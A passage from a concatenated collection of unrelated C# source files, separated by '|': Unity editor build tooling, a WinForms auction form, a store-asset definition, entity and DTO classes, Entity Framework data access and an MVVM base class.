private Vector3 position;
public Vector3 Position {
get
{
return position;
}
set
{
position = value;
CalculateModelMatrix();
}
}
private Vector3 rotation;
public Vector3 Rotation
{
get
{
return rotation;
}
set
{
rotation = value;
CalculateModelMatrix();
}
}
private Vector3 scale;
public Vector3 Scale
{
get
{
return scale;
}
set
{
scale = value;
CalculateModelMatrix();
}
}
public Matrix4 ModelMatrix { get; set; } = Matrix4.Identity;
public Matrix4 ViewProjectionMatrix { get; set; } = Matrix4.Identity;
public Matrix4 ModelViewProjectionMatrix { get; set; } = Matrix4.Identity;
public Mesh DisplayMesh { get; set; }
public Mesh CollisionMesh { get; set; }
public Object()
{
position = Vector3.Zero;
rotation = Vector3.Zero;
scale = Vector3.Zero;
CalculateModelMatrix();
}
public Object(Mesh mesh) : base()
{
DisplayMesh = mesh;
}
private void CalculateModelMatrix()
{
ModelMatrix = Matrix4.CreateScale(scale) * Matrix4.CreateRotationX(rotation.X) * Matrix4.CreateRotationY(rotation.Y) * Matrix4.CreateRotationZ(rotation.Z) * Matrix4.CreateTranslation(position);
}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Auction_Kostishin
{
public partial class Form1 : Form
{
public CustomerModel currCustomer;
LotModel currLot;
List<LotModel> lots = new List<LotModel>();
List<OfferModel> offers = new List<OfferModel>();
public Form1()
{
InitializeComponent();
}
public void ReloadData()
{
if (currCustomer != null)
{
plzLogIn.Visible = false;
label1.Text = "Вітаю, " + currCustomer.Name;
logInBtn.Visible = false;
logOutBtn.Visible = true;
LotsDataGrid.Visible = true;
lots=SqliteDataAccess.LoadLots();
LotsDataGrid.DataSource = lots;
if (currCustomer.Login.Equals("admin"))
{
userGroupBox.Visible = false;
filterGroupBox.Visible = false;
adminGroupBox.Visible = true;
offersDataGroupBox.Visible = true;
offers = SqliteDataAccess.LoadOffers();
offersDataGrid.DataSource = offers;
comboBox2.SelectedItem = comboBox2.Items[0];
}
else
{
userGroupBox.Visible = true;
filterGroupBox.Visible = true;
adminGroupBox.Visible = false;
offersDataGroupBox.Visible = false;
}
}
else
{
plzLogIn.Visible = true;
logInBtn.Visible = true;
logOutBtn.Visible = false;
adminGroupBox.Visible = false;
offersDataGroupBox.Visible = false;
userGroupBox.Visible = false;
filterGroupBox.Visible = false;
LotsDataGrid.Visible = false;
label1.Text = "";
}
}
private void logInBtn_Click(object sender, EventArgs e)
{
(new RegistrationLoginForm(this)).ShowDialog();
}
private void logOutBtn_Click(object sender, EventArgs e)
{
currCustomer = null;
ReloadData();
}
private void addToLots_Click(object sender, EventArgs e)
{
SqliteDataAccess.SaveLot(new LotModel(lotTitleTextBox.Text, lotDescrTextBox.Text, Convert.ToInt32(lotMinPriceTextBox.Text), dateTimePicker1.Value.ToString("yyyy/MM/dd")));
MessageBox.Show("Нову позицію створено");
ReloadData();
lotTitleTextBox.Text = "";
lotDescrTextBox.Text = "";
lotMinPriceTextBox.Text = "";
}
private void makeOfferBtn_Click(object sender, EventArgs e)
{
if (Convert.ToInt32(offeredPrice.Text) > currLot.Min_Price)
{
SqliteDataAccess.SaveOffer(new OfferModel(currLot.Lot_Id, currCustomer.Customer_Id, Convert.ToInt32(offeredPrice.Text)));
MessageBox.Show("Ставка прийнята!!!");
}
else
{
MessageBox.Show("Предложена сума менше заявленої!!!");
}
}
private void LotsDataGrid_CellContentClick(object sender, DataGridViewCellEventArgs e)
{
if (e.RowIndex >= 0)
{
if (LotsDataGrid.Rows[e.RowIndex].Cells[e.ColumnIndex].Value != null)
{
currLot = (LotModel)LotsDataGrid.CurrentRow.DataBoundItem; //Отрмую нажату книгу
lotSelectedLabel.Text = "Вибраний лот: " + currLot;
}
}
}
private void filterTextBox_TextChanged(object sender, EventArgs e)
{
BindingSource bs = new BindingSource();
BindingList<LotModel> myObjList = new BindingList<LotModel>(lots);
if (comboBox1.Text.Equals("Title"))
{
BindingList<LotModel> filtered = new BindingList<LotModel>(myObjList.Where(obj => obj.Title.Contains(filterTextBox.Text)).ToList());
LotsDataGrid.DataSource = filtered;
LotsDataGrid.Update();
}
else if (comboBox1.Text.Equals("Description"))
{
BindingList<LotModel> filtered = new BindingList<LotModel>(myObjList.Where(obj => obj.Description.Contains(filterTextBox.Text)).ToList());
LotsDataGrid.DataSource = filtered;
LotsDataGrid.Update();
}
else if (comboBox1.Text.Equals("Min_Price"))
{
BindingList<LotModel> filtered = new BindingList<LotModel>(myObjList.Where(obj => obj.Min_Price.ToString().Contains(filterTextBox.Text)).ToList());
LotsDataGrid.DataSource = filtered;
LotsDataGrid.Update();
}
}
private void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
{
if (comboBox2.SelectedIndex == 1)
{
var source = new BindingSource();
source.DataSource = GetOffersOutOfDate(offers,lots);
offersDataGrid.DataSource = source;
}
else
{
offersDataGrid.DataSource = offers;
}
}
public List<OfferModel> GetOffersOutOfDate(List<OfferModel> offerModels,List<LotModel> lotModels)
{
List<OfferModel> tempListOffers = new List<OfferModel>();
foreach(OfferModel offer in offerModels)
{
LotModel temoLot = lotModels.Find(item => item.Lot_Id == offer.Lot_Id);
DateTime lotDate = DateTime.Parse(temoLot.To_Date);
DateTime dateNow = DateTime.Now;
if (lotDate <= dateNow)
{
tempListOffers.Add(offer);
}
}
return tempListOffers;
}
}
}
|
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using UnityEditor;
using System.Linq;
using System.IO;
public class BuildVersion
{
public static bool bLoadAB = false;
[MenuItem("BuildAB/DeleteAllPref ")]
public static void cleanPlayerPref()
{
PlayerPrefs.DeleteAll();
}
[MenuItem("BuildAB/DeletePersistentPath ")]
public static void deletePersistentPath()
{
Directory.Delete(Application.persistentDataPath, true);
}
[MenuItem("BuildAB/AdditionalIl2CppArgs")]
public static void AdditionalIl2CppArgs()
{
//PlayerSettings.SetAdditionalIl2CppArgs("");
//PlayerSettings.SetAdditionalIl2CppArgs("-O3 -g0 -DUNITY_WEBGL=1 -s PRECISE_F32=2 -s NO_EXIT_RUNTIME=1 -s USE_WEBGL2=1 -s FULL_ES3=1 -s DISABLE_EXCEPTION_CATCHING=0 -s TOTAL_MEMORY=268435456 --memory-init-file 1 --emit-symbol-map --separate-asm --output_eol linux");
Debug.Log(PlayerSettings.GetAdditionalIl2CppArgs());
}
[MenuItem("BuildAB/ApiCompatibilityLevel")]
public static void ApiCompatibilityLevel()
{
Debug.Log(PlayerSettings.GetApiCompatibilityLevel(EditorUserBuildSettings.selectedBuildTargetGroup).ToString());
}
[MenuItem("BuildAB/ApplicationIdentifier")]
public static void ApplicationIdentifier()
{
//Debug.Log(EditorUserBuildSettings.selectedBuildTargetGroup.ToString());
Debug.Log(PlayerSettings.GetApplicationIdentifier(EditorUserBuildSettings.selectedBuildTargetGroup));
}
[MenuItem("BuildAB/CodeStrippingLevel")]
public static void CodeStrippingLevel()
{
Debug.Log(PlayerSettings.strippingLevel.ToString());
}
[MenuItem("BuildAB/Packager ")]
public static void createWindow()
{
EditorWindow.GetWindow<BuildWindow>();
Packager.Init();
Packager.bLoadAB = !AssetBundleManager.SimulateAssetBundleInEditor;
}
}
public class BuildWindow : EditorWindow
{
public string myVersion;
public string outPutPath = "";
public string[] verList = new string[3] { "开发版本", "测试版本", "正式版本" };
public static int curSelect = -1;
void OnEnable()
{
myVersion = VersionEditorManager.Instance().curVersion;
Packager.Init();
}
BuildTargetGroup transPlatform(TargetPlatform plat)
{
BuildTargetGroup ret = BuildTargetGroup.Standalone;
switch (plat)
{
case TargetPlatform.IOS:
ret = BuildTargetGroup.iOS;
break;
case TargetPlatform.Android:
ret = BuildTargetGroup.Android;
break;
case TargetPlatform.WebGL:
ret = BuildTargetGroup.WebGL;
break;
}
return ret;
}
void OnGUI()
{
GUILayout.Label(" 指定当前版本号, 与服务器保持一致", EditorStyles.boldLabel);
myVersion = GUILayout.TextField(myVersion);
GUILayout.Space(20);
// =========================== 3. 标记AB资源 ===========================
if (GUILayout.Button("刷新版本", GUILayout.Height(30)))
{
string[] szAssetBundleNames = AssetDatabase.GetAllAssetBundleNames();
for (int i = 0; i < szAssetBundleNames.Length; i++)
{
AssetDatabase.RemoveAssetBundleName(szAssetBundleNames[i], true);
}
VersionEditorManager.Instance().curVersion = myVersion;
PlayerSettings.Android.bundleVersionCode = VersionEditorManager.Instance().getVersionNum();
PlayerSettings.bundleVersion = myVersion;
}
GUILayout.Space(30);
//=========================== 1.选择平台 ================================
GUILayout.Label(" 选择发布平台 ", EditorStyles.boldLabel);
GUILayout.Space(20);
TargetPlatform select = (TargetPlatform)EditorGUILayout.EnumPopup(Packager.curTarget);
if (select != Packager.curTarget)
{
// 重新判断当前版本设定
Packager.curTarget = select;
}
GUILayout.Space(20);
// =========================== 3. 标记AB资源 ===========================
if (GUILayout.Button("标记AB", GUILayout.Height(30)))
{
Packager.BuildAssetMarks();
Packager.WritePreloadFile();
BuildUtil.createVersion();
}
GUILayout.Space(20);
if (GUILayout.Button("生成AB", GUILayout.Height(30)))
{
Packager.ClearABFolder();
Packager.GenerateAB();
}
// =========================== 4. 是否读取AB包 ===========================
bool cur = GUILayout.Toggle(Packager.bLoadAB, "读取AB包");
if (Packager.bLoadAB != cur)
{
Packager.bLoadAB = cur;
AssetBundleManager.SimulateAssetBundleInEditor = !Packager.bLoadAB;
}
GUILayout.Space(20);
GUIContent content = new GUIContent(" 请确认完成了 AB包 的制做过程 !!!");
GUIStyle style = new GUIStyle();
style.fontStyle = FontStyle.Normal;
style.fontSize = 13;
GUILayout.Label(content);
GUILayout.Space(20);
GUILayout.Label(" 选择发布版本类型:");
GUILayout.Space(20);
BuildTargetGroup curGroup = transPlatform(Packager.curTarget);
string curSymbol = null;
if (curSelect == -1)
{
curSymbol = PlayerSettings.GetScriptingDefineSymbolsForGroup(curGroup);
if (curSymbol.IndexOf("RELEASE_VER", 0, curSymbol.Length) == -1){
curSelect = 0;
}
else
{
if (curSymbol.IndexOf("STORE_VERSION", 0, curSymbol.Length) == -1)
{
curSelect = 1;
}
else
{
curSelect = 2;
}
}
}
int newSelect = GUILayout.SelectionGrid(curSelect, verList, 6);
//处理不同版本的一些 PlayerSetting 设置
if (newSelect != curSelect)
{
curSelect = newSelect;
curSymbol = PlayerSettings.GetScriptingDefineSymbolsForGroup(curGroup);
switch (curSelect)
{
case 0:
{
curSymbol = curSymbol.Replace("RELEASE_VER", "DEVELOP_VERSION");
curSymbol = curSymbol.Replace("STORE_VERSION", "DEVELOP_VERSION");
if (curSymbol.IndexOf("DEVELOP_VERSION", 0, curSymbol.Length) == -1)
{
if (!string.IsNullOrEmpty(curSymbol))
{
curSymbol += ";";
}
curSymbol += "DEVELOP_VERSION";
}
}
break;
case 1:
{
curSymbol = curSymbol.Replace("DEVELOP_VERSION", "RELEASE_VER");
curSymbol = curSymbol.Replace("STORE_VERSION", "RELEASE_VER");
if (curSymbol.IndexOf("RELEASE_VER", 0, curSymbol.Length) == -1)
{
if (!string.IsNullOrEmpty(curSymbol))
{
curSymbol += ";";
}
curSymbol += "RELEASE_VER";
}
}
break;
case 2:
{
curSymbol = curSymbol.Replace("DEVELOP_VERSION", "STORE_VERSION");
curSymbol = curSymbol.Replace("RELEASE_VER", "STORE_VERSION");
if (curSymbol.IndexOf("STORE_VERSION", 0, curSymbol.Length) == -1)
{
if (!string.IsNullOrEmpty(curSymbol))
{
curSymbol += ";";
}
curSymbol += "STORE_VERSION";
}
}
break;
}
PlayerSettings.SetScriptingDefineSymbolsForGroup(curGroup, curSymbol);
Debug.Log(curSymbol);
}
GUILayout.Space(20);
// =========================== 4. 拷贝资源 ===========================
if (GUILayout.Button("拷贝资源 ", GUILayout.Height(30)))
{
switch (Packager.curTarget)
{
case TargetPlatform.IOS:
BuildUtil.copyPlatformRes(BuildTarget.iOS);
break;
case TargetPlatform.Windows:
BuildUtil.copyPlatformRes(BuildTarget.StandaloneWindows);
break;
case TargetPlatform.Android:
BuildUtil.copyPlatformRes(BuildTarget.Android);
break;
case TargetPlatform.WebGL:
BuildUtil.copyPlatformRes(BuildTarget.WebGL);
break;
}
AssetDatabase.Refresh();
}
GUILayout.Space(20);
// =========================== 5. 生成安装包 ===========================
if (GUILayout.Button("生成安装包 ", GUILayout.Height(30)))
{
if (myVersion.Length == 0 || myVersion.Equals("0.0.0"))
{
EditorUtility.DisplayDialog(" Error !!", " 请修改版本为有效数字", "确定");
}
else
{
switch (Packager.curTarget)
{
case TargetPlatform.IOS:
BuildUtil.buildIOS();
break;
case TargetPlatform.Windows:
BuildUtil.buildWindows();
break;
case TargetPlatform.Android:
BuildUtil.buildAndroid();
break;
case TargetPlatform.WebGL:
BuildUtil.buildWebGL();
break;
}
}
};
GUILayout.Space(20);
if (Packager.curTarget == TargetPlatform.IOS)
{
if (GUILayout.Button("生成IPA", GUILayout.Height(30)))
{
IPABuilder.buildIPA();
}
GUILayout.Space(20);
}
if (GUILayout.Button("生成版本更新包 ", GUILayout.Height(30)))
{
BuildUtil.PatchAll ();
}
}
}
public class BuildUtil
{
static string[] levels = { "Assets/Scene/launcher.unity" };
static public string getPath()
{
int tmp = Application.dataPath.LastIndexOf("/");
string path = Application.dataPath.Substring(0, tmp)+"/build";
return path;
}
static public void buildIOS()
{
BuildTarget type = BuildTarget.iOS;
copyWWise(type);
copyABRes(type);
//createVersion();
AssetDatabase.Refresh();
BuildPipeline.BuildPlayer(levels, BuildUtil.getPath() + "/proj_ios", BuildTarget.iOS, BuildOptions.Il2CPP | BuildOptions.ShowBuiltPlayer);
}
static public void buildAndroid()
{
BuildTarget type = BuildTarget.Android;
copyWWise(type);
copyABRes(type);
//createVersion();
AssetDatabase.Refresh();
PlayerSettings.Android.keystoreName = Application.dataPath + "/../SDK/user.keystore";
PlayerSettings.Android.keyaliasPass = "123456";
PlayerSettings.Android.keyaliasName = "star";
PlayerSettings.Android.keystorePass = "123456";
PlayerSettings.Android.bundleVersionCode = VersionEditorManager.Instance().getVersionNum();
BuildPipeline.BuildPlayer(levels, BuildUtil.getPath() + "/proj.apk", BuildTarget.Android, BuildOptions.ShowBuiltPlayer);
}
static public void buildWindows()
{
BuildTarget type = BuildTarget.StandaloneWindows;
copyWWise(type);
copyABRes(type);
//createVersion();
AssetDatabase.Refresh();
BuildPipeline.BuildPlayer(levels, BuildUtil.getPath() + "/proj_win/game.exe", BuildTarget.StandaloneWindows, BuildOptions.ShowBuiltPlayer | BuildOptions.Development);
}
static public void buildWebGL()
{
BuildTarget type = BuildTarget.WebGL;
//copyWWise(type);
copyABRes(type);
//createVersion();
AssetDatabase.Refresh();
BuildPipeline.BuildPlayer(levels, BuildUtil.getPath() + "/view", BuildTarget.WebGL, BuildOptions.ShowBuiltPlayer | BuildOptions.AllowDebugging | BuildOptions.BuildScriptsOnly);
}
static public void copyPlatformRes(BuildTarget os)
{
//copyWWise(os);
copyABRes(os);
}
static public void cleanABPath()
{
deleteDirectroy(Application.streamingAssetsPath + "/AssetBundles");
}
static public void copyABRes(BuildTarget os)
{
cleanABPath();
string osPath = getPlatformDir(os);
_copyDirectory(Application.dataPath + "/../AssetBundles/" + osPath,
Application.streamingAssetsPath + "/AssetBundles/" + osPath,
new string[] { ".manifest", ".meta"},
new string[] { osPath + ".manifest" });
}
static public void copyFullABRes()
{
cleanABPath();
copyDirectory(Application.dataPath + "/../AssetBundles", Application.streamingAssetsPath + "/AssetBundles");
}
static public void cleanWWise()
{
deleteDirectroy(Application.streamingAssetsPath + "/Audio/GeneratedSoundBanks");
}
static public void copyWWise(BuildTarget os)
{
cleanWWise();
string osPath = getPlatformDir(os);
copyDirectory(Application.dataPath + "/Wwise/Audio/GeneratedSoundBanks/" + osPath, Application.streamingAssetsPath + "/Audio/GeneratedSoundBanks/" + osPath);
}
static public void copyFullWWise()
{
cleanWWise();
copyDirectory(Application.dataPath + "/Wwise/Audio/GeneratedSoundBanks/", Application.streamingAssetsPath + "/Audio/GeneratedSoundBanks/");
}
static public string getPlatformDir(BuildTarget os){
switch (os)
{
case BuildTarget.Android:
return "Android";
case BuildTarget.iOS:
return "iOS";
case BuildTarget.StandaloneWindows:
case BuildTarget.StandaloneWindows64:
return "Windows";
case BuildTarget.WebGL:
return "WebGL";
default:
return null;
}
}
static public string getPlatformManifest()
{
return getPlatformDir(Packager.getBuildTarget()) + ".manifest";
}
static public void deleteDirectroy(string dirName)
{
DirectoryInfo d = new DirectoryInfo(dirName);
if (d.Exists)
{
Directory.Delete(dirName, true);
}
}
static public void copyDirectory(string fromDir, string toDir)
{
_copyDirectory(fromDir, toDir);
}
static public void _copyDirectory(string fromDir, string toDir, string[] ignoreExts = null, string[] needFiles = null)
{
if (Directory.Exists(fromDir))
{
if (!Directory.Exists(toDir))
{
Directory.CreateDirectory(toDir);
}
string[] files = Directory.GetFiles(fromDir, "*", SearchOption.AllDirectories);
string[] dirs = Directory.GetDirectories(fromDir, "*", SearchOption.AllDirectories);
foreach (string soureDir in dirs)
{
string desDir = soureDir.Replace(fromDir, toDir);
Debug.Log("path: " + desDir);
if (!Directory.Exists(desDir))
{
Directory.CreateDirectory(desDir);
}
}
foreach (string soureFile in files)
{
string extName = Path.GetExtension(soureFile);
string fileName = Path.GetFileName(soureFile);
if (needFiles != null && needFiles.Contains<string>(fileName))
{
File.Copy(soureFile, soureFile.Replace(fromDir, toDir), true);
}
else if (!string.IsNullOrEmpty(extName) && ignoreExts != null && ignoreExts.Contains<string>(extName))
{
Debug.Log("ignoreFile: " + soureFile);
}
else
{
File.Copy(soureFile, soureFile.Replace(fromDir, toDir), true);
}
}
}
}
static public void createVersion()
{
string streamPath = Application.streamingAssetsPath;
FileInfo fi = new FileInfo(streamPath + "/streamPath.txt");
using (StreamWriter sw = fi.CreateText())
{
getFilePath(streamPath, sw);
}
AssetDatabase.Refresh();
Debug.Log("新版本生成成功, ");
}
static public void getFilePath(string sourcePath, StreamWriter sw)
{
DirectoryInfo info = new DirectoryInfo(sourcePath);
foreach (FileSystemInfo fsi in info.GetFileSystemInfos())
{
if (fsi.Extension != ".meta" && fsi.Name != "streamPath.txt")
{
string[] r = fsi.FullName.Split(new string[] { "StreamingAssets" }, System.StringSplitOptions.None); //得到相对路径
r[1] = r[1].Replace('\\', '/'); //安卓上只能识别"/"
if (fsi is DirectoryInfo)
{ //是文件夹则迭代
sw.WriteLine(r[1] + " | 0"); //按行写入
bool ignored = fsi.FullName.EndsWith("AssetBundles");
if (!ignored)
{
getFilePath(fsi.FullName, sw);
}
}
else
{
sw.WriteLine(r[1] + " | 1" + "|" + string.Format("{0:F}", ((FileInfo)fsi).Length / 1024.0f)); //按行写入
}
}
}
}
static public string getVersionNum()
{
string streamPath = Application.streamingAssetsPath;
byte[] ret = File.ReadAllBytes(streamPath + "/version.txt");
if (ret == null || ret.Length == 0)
return "1.0.0";
string versionNum = System.Text.Encoding.Default.GetString(ret);
return versionNum;
}
static public void SwitchToAndroid()
{
EditorUserBuildSettings.SwitchActiveBuildTarget (BuildTargetGroup.Android, BuildTarget.Android);
}
static public void PatchAll(){
BuildUtil.copyFullABRes ();
BuildUtil.copyFullWWise();
PatchUtil.Instance().init();
PatchUtil.Instance().buildPatch();
}
}
|
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using Soomla;
using Soomla.Store;
public class SoomlaStoreAssets: IStoreAssets {
public static string BASIC_UPGRADE_ID = "soomla_basic_upgrade_id";
public SoomlaStoreAssets ()
{
}
public int GetVersion() {
return 0;
}
// NOTE: Even if you have no use in one of these functions, you still need to
// implement them all and just return an empty array.
public VirtualCurrency[] GetCurrencies() {
return new VirtualCurrency[]{};
}
public VirtualGood[] GetGoods() {
return new VirtualGood[] {BASIC_UPGRADE};
}
public VirtualCurrencyPack[] GetCurrencyPacks() {
return new VirtualCurrencyPack[] {};
}
public VirtualCategory[] GetCategories() {
return new VirtualCategory[]{GENERAL_CATEGORY};
}
/** Virtual Goods **/
// NOTE: Create non-consumable items using LifeTimeVG with PurchaseType of
// PurchaseWithMarket.
public static VirtualGood BASIC_UPGRADE = new LifetimeVG(
"Lazy Upgrade", // Name
"The Lazy Upgrade makes the game ad-free, and allows you to customize Angus' fur!", // Description
"soomla_basic_upgrade_id", // Item ID
new PurchaseWithMarket( // Purchase type (with real money $)
"soomla_basic_upgrade_id", // Product ID
1.99 // Price (in real money $)
)
);
/** Virtual Categories **/
public static VirtualCategory GENERAL_CATEGORY = new VirtualCategory(
"General", new List<string>(new string[] {BASIC_UPGRADE.ItemId})
);
}
|
using System;
using System.Collections.Generic;
namespace DemoApp.Entities
{
public partial class FacilityItemSetting
{
public FacilityItemSetting()
{
FacilitySettings = new HashSet<FacilitySettings>();
}
public Guid Id { get; set; }
public string Description { get; set; }
public bool? IsActive { get; set; }
public virtual ICollection<FacilitySettings> FacilitySettings { get; set; }
}
}
|
using System;
using WildFarm.Models;
namespace WildFarm.Animals
{
public class Mouse : Mammal
{
public Mouse(string animalType, string animalName, double animalWeight, string livingRegion)
: base(animalType, animalName, animalWeight, livingRegion)
{
}
public override void EatFood(Food food)
{
if (food.GetType().Name == "Meat")
{
throw new ArgumentException($"{this.GetType().Name}s are not eating that type of food!");
}
base.EatFood(food);
}
public override string MakeSound()
{
return "SQUEEEAAAK!";
}
public override string ToString()
{
return $"{this.GetType().Name}[{this.AnimalName}, {AnimalWeight}, {this.LivingRegion}, {this.FoodEaten}]";
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace SFA.DAS.Tools.Support.Core.Models
{
public abstract class ResultBase
{
public bool HasError => !string.IsNullOrWhiteSpace(ErrorMessage);
public string ErrorMessage { get; set; }
}
}
|
using UnityEngine;
public class FoodGeneration : MonoBehaviour
{
private float xSize = 9f;
private float zSize = 9f;
public GameObject foodPrefab;
public GameObject curFood;
private Vector3 curPos;
void RandomPos()
{
curPos = new Vector3(Random.Range(xSize*-1, xSize),0.25f, Random.Range(zSize * -1, zSize));
}
void AddNewFood()
{
RandomPos();
curFood = Instantiate(foodPrefab, curPos, Quaternion.identity);
}
void Update()
{
if (!curFood)
{
AddNewFood();
}
}
}
|
using LHRLA.DAL;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace LHRLA.LHRLA.DAL
{
public class CaseHistoryLogDataAccess
{
#region Insert
public int AddCaseHistoryLog(tbl_Case_History_Log row)
{
try
{
using (var db = new vt_LHRLAEntities())
{
db.tbl_Case_History_Log.Add(row);
db.SaveChanges();
}
return row.ID;
}
catch (Exception ex)
{
return 0;
}
}
public int CreateCaseHistoryLog(tbl_Case_History_Log row)
{
try
{
using (var db = new vt_LHRLAEntities())
{
db.tbl_Case_History_Log.Add(row);
db.SaveChanges();
}
return row.ID;
}
catch (Exception ex)
{
return 0;
}
}
#endregion
#region Update
public bool UpdateCaseHistoryLog(tbl_Case_History_Log row)
{
try
{
using (var db = new vt_LHRLAEntities())
{
tbl_Case_History_Log val = new tbl_Case_History_Log();
val = db.tbl_Case_History_Log.Where(a => a.ID == row.ID).FirstOrDefault();
val.Case_ID = row.Case_ID;
val.Old_Data = row.Old_Data;
val.New_Data = row.New_Data;
val.Approval1_User = row.Approval1_User;
val.Approval1_Datetime = row.Approval1_Datetime;
val.Approval1_Comments = row.Approval1_Comments;
val.Approval2_User = row.Approval2_User;
val.Approval2_Datetime = row.Approval2_Datetime;
val.Approval2_Comments = row.Approval2_Comments;
db.SaveChanges();
}
return true;
}
catch (Exception ex)
{
return false;
}
}
public bool UpdateCaseHistoryApproval(int LogId,int UserId,string Comments)
{
try
{
using (var db = new vt_LHRLAEntities())
{
tbl_Case_History_Log val = new tbl_Case_History_Log();
val = db.tbl_Case_History_Log.Where(a => a.ID == LogId).FirstOrDefault();
if (val.Approval1_Datetime != null)
{
val.Approval1_User = UserId;
val.Approval1_Datetime = DateTime.Now;
val.Approval1_Comments = Comments;
}
else
{
val.Approval2_User = UserId;
val.Approval2_Datetime = DateTime.Now;
val.Approval2_Comments = Comments;
}
db.SaveChanges();
}
return true;
}
catch (Exception ex)
{
return false;
}
}
#endregion
#region Delete
#endregion
#region Select
public List<tbl_Case_History_Log> GetAllCaseHistoryLogs()
{
try
{
List<tbl_Case_History_Log> lst = new List<tbl_Case_History_Log>();
using (var db = new vt_LHRLAEntities())
{
lst = db.tbl_Case_History_Log.ToList();
}
return lst;
}
catch (Exception ex)
{
throw ex;
}
}
//public List<tbl_Case_History_Log> GetAllActiveCaseFiledsSections()
//{
// try
// {
// List<tbl_Case_History_Log> lst = new List<tbl_Case_History_Log>();
// using (var db = new vt_LHRLAEntities())
// {
// lst = db.tbl_Case_History_Log.ToList().Where(a => a.Is_Active == true).ToList();
// }
// return lst;
// }
// catch (Exception ex)
// {
// throw ex;
// }
//}
public tbl_Case_History_Log GetCaseHistoryLogsbyID(int ID)
{
try
{
tbl_Case_History_Log lst = new tbl_Case_History_Log();
using (var db = new vt_LHRLAEntities())
{
lst = db.tbl_Case_History_Log.Where(e => e.ID == ID).FirstOrDefault();
}
return lst;
}
catch (Exception ex)
{
throw ex;
}
}
public tbl_Case_History_Log GetCaseHistoryLogsbyCaseID(int CaseID)
{
try
{
tbl_Case_History_Log lst = new tbl_Case_History_Log();
using (var db = new vt_LHRLAEntities())
{
lst = db.tbl_Case_History_Log.Where(e => e.Case_ID==CaseID).OrderByDescending(a=>a.ID).FirstOrDefault();
}
return lst;
}
catch (Exception ex)
{
throw ex;
}
}
#endregion
}
} |
using ISE.Framework.Common.CommonBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ISE.SM.Common.DTO
{
public partial class RoleToRoleDto:BaseDto
{
public RoleToRoleDto()
{
this.PrimaryKeyName = "RrId";
}
}
}
|
using System;
using UnityEngine;
using UnityEditor;
using Unity.Mathematics;
using static Unity.Mathematics.math;
using System.Linq;
namespace IzBone.PhysCloth.Authoring {
using Common;
[CustomEditor(typeof(PlaneAuthoring))]
[CanEditMultipleObjects]
sealed class PlaneAuthoringInspector : BaseAuthoringInspector
{
override public void OnInspectorGUI() {
base.OnInspectorGUI();
}
/** 1オブジェクトに対するOnSceneGUI。基本的に派生先からはこれを拡張すればOK */
override protected void OnSceneGUI() {
base.OnSceneGUI();
// プレイ中のギズモ表示はBaseのものでOK
if (Application.isPlaying) return;
Gizmos8.drawMode = Gizmos8.DrawMode.Handle;
var tgt = (PlaneAuthoring)target;
var tob = tgt._topOfBones?.Where(i=>i!=null)?.ToArray();
{// 正確なパラメータが指定されているか否かをチェック
if (tob == null || tob.Length == 0) return;
int errCnt = 0;
var rootTrans = tob[0].parent;
if (rootTrans == null) {
errCnt = 1;
} else foreach (var i in tgt._topOfBones) {
if (i==null) {errCnt = 10; break;}
if (i.parent != rootTrans) {errCnt = 20; break;}
if (i.childCount == 0) {errCnt = 30; break;}
}
static void showWarn(string msg) => EditorGUILayout.HelpBox(msg, MessageType.Error);
switch (errCnt) {
case 1: showWarn("TopOfBonesには共通の親Transformが必要です"); return;
case 10: showWarn("TopOfBonesにNullが指定されています"); return;
case 20: showWarn("TopOfBonesには共通の親Transformが必要です"); return;
case 30: showWarn("TopOfBonesに1つも子供が存在しないTransformが指定されています"); return;
}
}
{// ギズモを描画
drawPtcl( tob[0].parent, true, 0, 0, 0 );
var tLst0 = tob.Select(i=>i.parent).ToArray();
var tLst1 = tob.ToArray();
for (int dIdx = 0;; ++dIdx) {
for (int i=0; i<tLst0.Length; ++i) {
if (tLst1[i] == null) continue;
var rScl = length(tLst0[i].position - tLst1[i].position);
drawPtcl( tLst1[i], dIdx==0, tgt.getRadius(dIdx), tgt.getMaxMovableRange(dIdx), rScl );
drawConnection(tLst0[i], tLst1[i], dIdx==0);
Transform transL, transR;
if (i == 0) transL = tgt._isLoopConnect ? tLst1[tLst1.Length-1] : null;
else transL = tLst1[i-1];
if (i == tLst1.Length-1) transR = tgt._isLoopConnect ? tLst1[0] : null;
else transR = tLst1[i+1];
drawConnection(transR, tLst1[i], dIdx==0);
drawConnection(transL, tLst1[i], dIdx==0);
}
var isAllNull = true;
for (int i=0; i<tLst0.Length; ++i) {
tLst0[i] = tLst1[i];
tLst1[i] = tLst1[i].childCount==0 ? null : tLst1[i].GetChild(0);
if (tLst1[i] != null) isAllNull = false;
}
if (isAllNull) break;
}
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Collections.ObjectModel;
using System.Windows;
namespace mvvm.Utils
{
public abstract class TreeViewBase : PropertyNotifier
{
protected ObservableCollection<TreeViewBase> children;
private string name;
public ObservableCollection<TreeViewBase> Children
{
get { return children; }
set
{
children = value;
RaisePropertyChanged("Children");
}
}
public string Name
{
get { return name; }
set
{
name = value;
RaisePropertyChanged("Name");
}
}
public abstract void DefineName();
public abstract string[] GetInfo();
public abstract void EditInfo(string[] info);
public abstract void AddInfo(string[] info);
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.Features.Folders
{
public class FolderRepository : IFolderRepository
{
private readonly Internal.ILogger _logger;
private readonly DAL.IDBContext _dBContext;
public FolderRepository()
{
_logger = (Internal.ILogger)Bootstrap.Instance.Services.GetService(typeof(Internal.ILogger));
_dBContext = (DAL.IDBContext)Bootstrap.Instance.Services.GetService(typeof(DAL.IDBContext));
}
public async Task<List<Models.CollectPath>> GetPaths()
{
return await _dBContext.Instance.Table<Models.CollectPath>().ToListAsync();
}
public async Task<bool> Insert(Models.CollectPath collectPath)
{
try
{
if (collectPath != null)
{
await _dBContext.Instance.InsertAsync(collectPath);
return true;
}
}
catch (Exception ex)
{
_logger.Error(ex, "Failed to insert new CollectPath item");
}
return false;
}
